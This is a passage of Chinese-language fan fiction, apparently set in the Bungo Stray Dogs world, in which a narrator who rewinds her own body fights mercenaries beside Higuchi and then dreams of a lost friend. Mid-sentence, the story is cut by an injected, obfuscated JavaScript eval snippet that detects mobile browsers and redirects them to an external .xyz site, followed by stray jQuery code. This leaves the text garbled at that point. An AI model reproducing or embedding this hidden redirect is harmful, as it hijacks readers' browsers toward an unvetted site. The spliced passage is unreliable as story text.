跑,必须跑!他已经发现了我,绝对不能与他正式对上,否则——
砰!
声音很微小,在离我很遥远的地方,仿佛只是鸟儿在天际的一声鸣叫,在眼下本该激不起任何涟漪。但是我的全息视角中却近距离看见,樋口的大腿血流如注,她露出懊恼与痛苦并存的表情,却没有丝毫退意,反倒凭着一股孤注一掷的狠劲儿,冲出去与他们对轰。
她手中枪被击中掉落的那一刻画面,在我眼中被放慢了好几倍。
很奇怪,我明明不应该为此动容的。
“你就是一个没有心的怪物。”
这是我在横滨交到的第一个朋友对我说的话。
“你只是一条被‘亲情’驱动的代码。”
也是我失去的第一个朋友对我说的话。
那么,一个怪物,一条代码,真的会对眼前这个与自己没有任何关系,也不存在自己最重视的情感的那个人,停下脚步,直面那致命的罅隙吗?
樋口的肩膀与大腿均已负伤,基本失去战斗能力。雇佣兵举枪射击,一声枪响,手掌便洞开一个孔洞。
但受伤的并不是樋口。另一颗子弹比雇佣兵的枪更加迅速,在他扣动扳机的前一刻命中,成功让雇佣兵那颗子弹偏移到樋口耳侧的地板上,弹孔留下一个焦黑的小坑。
樋口难以置信地转头,我有些无奈地瞪了她一眼。
“这次我一定要加钱。”我抬起手。
后面那些士兵向我射击,我只稍稍偏移脑袋,几乎没有躲闪,那些火力袭向我的一瞬间便穿透过去,而我毫发无伤,甚至慢悠悠地选个大口径喷子,直接一个人对他们进行火力压制。
并非是没有中弹,而是在中弹的一瞬间就将自己回溯回昨天的状态。这个过程很快,人眼如果不是预先准备,根本察觉不到。
当然,我知道,就算这些三流雇佣兵看不穿我的把戏,幕后那个男人,将一切作收眼底的家伙,现在应当已经把这些都看透了吧。
我不知道他要对芥川做什么,事到如今,我们除了火力突破,根本没有其他选择。
“疼吗?”火药的喧嚣中,我听见另一道枪响,还有樋口低声的询问。
我偏了下目光,立刻被震惊住了。
樋口的腿站不稳,她就坐着,右肩膀受伤抬不起来,就用左手和下巴稳着枪,一发一发地射击。我本来不看好这个异能都没有,也不曾展现出什么手腕的人,但在她一枪一发爆头,还能趁着我换弹进行掩护,并顺便将暗处的敌人也解决的时候,我忽然明白了她这个普通人为什么能够成为芥川的副手,并能够直接指挥首领直属游击部队了。
“疼不疼?”樋口又问了一遍。
我说不出话,只是苦笑了一声,鬓角与衣服里的汗水在流下的瞬间消失不见。
疼啊,当然疼。为了避免误伤到樋口,我极端地使用了我的异能。即是一种当空间范围无限接近于零时,我便可以做到仅回溯自己的效果。但是既然是为了恢复状态调整自己,就必须在子弹命中我之后发动异能。不论是命中的瞬间还是已经穿透了我,那份伤痛都已经造成,纵使很快就会随着回溯效果消失,但疼痛的记忆却始终留存在我的脑海,并且不断叠加。
好疼……好疼,好疼好疼好疼好疼好疼好疼。
现在这具身体是多少个月以前的我了?我没有印象,也不能露出任何怯意。对方现在明显是被我的气势镇住,趁现在一鼓作气,我们两个才有翻盘的一丝可能。
我们是第一次配合,效果非常显著。
可是,敌人实在太多了。
多到樋口都骂了一句:“散兵碎将的反扑,还能挣扎到这个地步。”
说者无心,我却突然想到:一个被捣毁的组织残余,真的能有这样的实力吗?
我又想起了那个男人,一副俄罗斯人的打扮的男人。
突然,站在后方明显是指挥的人低下头,右手抵着耳机,明显是在听着谁的指示。我心中那种不祥的预感又一次爆发,连忙对樋口说:“瞄准左后方第三位那人的头!”
“收到。”樋口调整手臂,然而还是慢了一步。
这一次是对方的子弹更快,我几乎感觉到灼烧感贴上我的眉心。
果然,对方完全看透了我的异能啊。我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543726|186680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的回溯确实刷新得非常快,但并不是完美链接的。倘若我在某个间隙瞬间死亡,中断脑部供血或者切断思维能力,当然也不能立刻回溯自己了。
很奇怪,明明完全知道自己要死了,我却没有多少恐惧的情绪。也许是这一切太快了吧。我甚至还有余裕想,如果对方是为了芥川出动这种人,那么芥川也不算耻辱。
如果有重来一次的机会,我还会来到这里吗?我无奈地想,应该还是会来吧,毕竟我刚才这一系列的行动,大脑的参与度也没多高。
等等,我怎么脑剧场这么多还没完蛋?
我这才回过神,身体并没有任何伤痕——这是回溯的效果,很正常。那么子弹呢?
我很快就发现了它,与一枚仿佛只是集装箱被风吹海蚀而掉下来的铁皮。铁皮深陷一个凹痕,很好地完成了自己的使命。
我望着它,忽然意识到什么,回过头。
入口那片刺目的光芒中,一片黑衣的人潮不知何时出现在那里。为首的那位老执事风度翩翩,眉眼间的杀气都润成优雅的自若。
相比起来,他身边两个人就更外显一些。尤其是某个鼻梁贴着创可贴的青年,手持两把枪,语调扬得飞起来。
“不认识的全都干掉!”
我失笑,这么幼稚的话,也就是立原道造能说得出来了。
浓重的疲惫后知后觉涌上,我的身体非常健康,但是精神终究支撑不住,在放松下来的一瞬,数百颗子弹的疼痛一齐爆发,直接将我的意识击溃了。
*
我做了一个梦。
说是梦并不完全,更像是被迫回忆了自己的一段过去,而我在其中不能动弹,不能说话,只能根据过去的行为如木偶一般行动着
耳畔的微风泛着骄阳的热意,在炽烈的光芒下,街道的行人寥寥无几,就是有几个,也沉默着,丧眉耷眼,拖着沉重的脚步,身上的汗水几乎能从后面形成一个个脚印。
正因此,我和面前少女的争执才格外突出。
这是多年前的事情了吧,我刚来横滨那段时间。我无力改变什么,只能在心里随便想想。
面前的女孩子是一个普通高中生,没有异能,不属于白天黑夜黄昏的势力,只是一个会在路边哭的少女。不过她也不是因为什么裙子坏了或者霸凌之类的日常烦恼而难过,而是由于她妈妈生了重病,家里却没有钱再为她治疗,她白天要在妈妈面前强颜欢笑,夜晚才能躲在路边哭泣一会儿,碰巧就被我看见了。
我为这份母子情谊为她垫付了医药费,并时时看望。她后来打工还了我的钱,我们就此成为了朋友。
她是我来到横滨的第一个朋友。我非常珍惜这段友谊,可惜,我还是搞砸了。